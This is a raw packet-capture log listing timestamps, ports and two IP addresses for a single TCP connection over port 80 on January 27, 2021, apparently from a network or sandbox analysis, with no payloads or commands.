Jan 27, 2021 07:30:06.273268938 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.273309946 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.273312092 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.273360968 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277446032 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277487040 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277517080 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277524948 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277532101 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277564049 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277585030 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277600050 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277607918 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277637959 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277642012 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277674913 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277688980 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277714014 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277723074 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277766943 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277769089 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277802944 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277825117 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277839899 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277847052 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277878046 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277890921 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277915001 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277930021 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277952909 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.277955055 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.277992010 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278006077 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278034925 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278038979 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278081894 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278085947 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278117895 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278132915 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278156996 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278157949 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278193951 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278208017 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278228998 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278230906 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278269053 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278270960 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278305054 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278321028 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278332949 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278352022 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278352976 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278394938 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278404951 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278429985 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278443098 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278467894 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278471947 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278505087 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278513908 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278539896 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278547049 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278578997 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278584957 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278614998 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278624058 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278656006 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278661966 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278702974 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278703928 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278738022 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278749943 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278774977 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278784037 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278811932 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278826952 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278848886 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278848886 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278884888 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278887033 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278924942 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278932095 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.278970957 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.278987885 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279011965 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279030085 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279073000 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279082060 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279122114 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279131889 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279160023 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279187918 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279196978 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279223919 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279234886 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279234886 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279273033 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279278040 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279319048 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279321909 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279361010 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279364109 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279397011 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279402971 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279433966 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279443026 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279470921 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279481888 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279509068 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279511929 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279546976 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279553890 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279584885 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279593945 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279630899 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279633045 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279675007 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279678106 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279711962 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279721022 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279750109 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279759884 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279788017 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279789925 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279824018 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279839993 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279860973 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279866934 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279897928 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279911995 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279937029 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.279944897 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279988050 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.279995918 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.280025959 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.280045986 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.280064106 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.280076981 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.280101061 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.280103922 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.280154943 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.280349970 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.492734909 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.492794037 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.492832899 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.492841005 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.492861032 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.492871046 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.492872000 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.492908955 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.492908955 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.492957115 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.492959023 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493004084 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493004084 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493041992 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493046999 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493082047 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493129969 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493175983 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493176937 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493225098 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493227005 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493263960 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493267059 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493300915 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493307114 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493339062 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493340969 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493374109 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493380070 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493417978 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493442059 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493480921 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493483067 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493516922 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493519068 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493555069 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493556976 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493591070 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493592978 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493627071 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493629932 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493664980 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.493666887 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.493702888 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495167017 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495207071 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495225906 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495244980 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495249987 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495280027 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495280981 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495318890 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495321035 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495354891 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495356083 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495392084 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495397091 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495426893 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495429039 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495469093 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495476007 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495517015 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495517969 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495553017 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495554924 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495589018 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495589972 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495625973 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495625973 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495661974 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495666027 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495699883 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495701075 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495735884 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495739937 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495774984 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495781898 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495821953 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.495822906 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.495862961 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501511097 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501554966 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501588106 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501591921 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501615047 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501631975 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501637936 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501678944 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501681089 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501714945 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501718044 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501755953 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501760006 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501791000 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501792908 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501825094 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501830101 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501866102 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501868010 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501904011 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501905918 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501940012 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.501950026 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.501997948 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502001047 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502034903 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502037048 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502075911 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502084017 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502121925 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502125025 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502161980 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502163887 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502197981 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502198935 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502233028 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502235889 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502271891 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502274990 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502305984 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502309084 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502345085 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502347946 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502382994 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502391100 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502427101 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502432108 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502466917 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502470016 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502502918 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502504110 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502538919 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502541065 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502576113 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502578020 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502612114 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502614021 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502645969 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502646923 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502684116 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502692938 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502732992 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502734900 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502772093 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502791882 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502809048 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502815008 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502846003 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502846003 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502880096 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502882004 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502918959 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502918959 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.502954960 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.502969027 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503005028 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503012896 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503047943 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503048897 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503086090 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503091097 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503124952 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503127098 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503163099 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503165960 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503200054 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503205061 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503237963 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503241062 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503277063 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503278971 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503318071 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503324032 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503365993 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503366947 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503405094 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503407955 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503442049 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503448963 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503479958 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503483057 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503515959 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503528118 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503561974 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503571987 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503617048 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503623009 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503664970 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503670931 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503711939 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503715038 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503748894 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503755093 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503786087 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503793001 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503823996 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.503828049 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.503859997 CET	80	49165	103.141.138.125	192.168.2.22
